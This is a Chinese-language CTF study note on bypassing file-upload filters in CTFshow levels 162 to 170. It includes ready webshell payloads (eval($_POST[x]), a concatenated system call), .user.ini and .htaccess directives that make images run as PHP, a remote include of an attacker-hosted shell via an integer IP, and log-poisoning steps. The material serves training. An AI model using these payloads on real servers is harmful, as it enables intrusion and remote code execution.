前言:
#知识点:
1、文件上传-二次渲染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
文件二次渲染:
1、判断上传前和上传后的文件大小及内容
2、判断上传后的文件返回数据包内容
CTFSHOW-文件上传-162到170关卡
162 突破.过滤
过滤 . () {} ; 等
利用远程包含IP转换地址(长地址后门)调用执行
.user.ini auto_prepend_file=png
png <?=include'http://794750069/'> //这里的http://794750069/是一个包含一句话木马的网页
https://www.bejson.com/convert/ip2int/
163 突破上传删除
过滤 . () {} ; 等 同时文件被删除
这里有两种情况:
1.直接全部都删除,这种就只能通过条件竞争(即通过快速访问文件,让文件的进程被占用,导致无法删除)
2.根据过滤来删除 这种就可以通过,直接通过.user,ini 直接远程包含 来绕过。
直接利用.user.ini包含远程
auto_prepend_file=http://794750069/
auto_prepend_file=http://794750069/
164 png二次渲染
https://blog.csdn.net/qq_40800734/article/details/105920149
get 0=system
post 1=tac flag.php
165 jpg二次渲染
1、先上传jpg正常,返回包发现渲染
2、上传jpg渲染后保存,生成带代码图片
调用执行:php jpg.php 1.jpg
166 zip调用包含
直接上传zip后修改代码
<?=eval($_POST[x]);?>
167.htaccess妙用
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
通过htaccess来实现上传文件后缀自定义
创建.htaccess文件
<FilesMatch "shana"> Sethandler application/x-httpd-php </FilesMatch >
先上传.htaccess文件,上传成功
下载一张后缀名为jpg的图片,把图片名改为shana,即shana.jpg。打开图片,在最后增加一行php代码,然后上传
图片中包含的代码显示成功
.htaccess默认不支持nginx,设置后支持
.htaccess可以通过设置实现文件解析配置
将.png后缀的文件解析成php
AddType application/x-httpd-php .png //将.png 的任意文件当成php去解析。
168 免杀后门
<?php$a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>
169- 170 日志包含
构造.user.ini利用条件:上传index.php 内容随意
上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>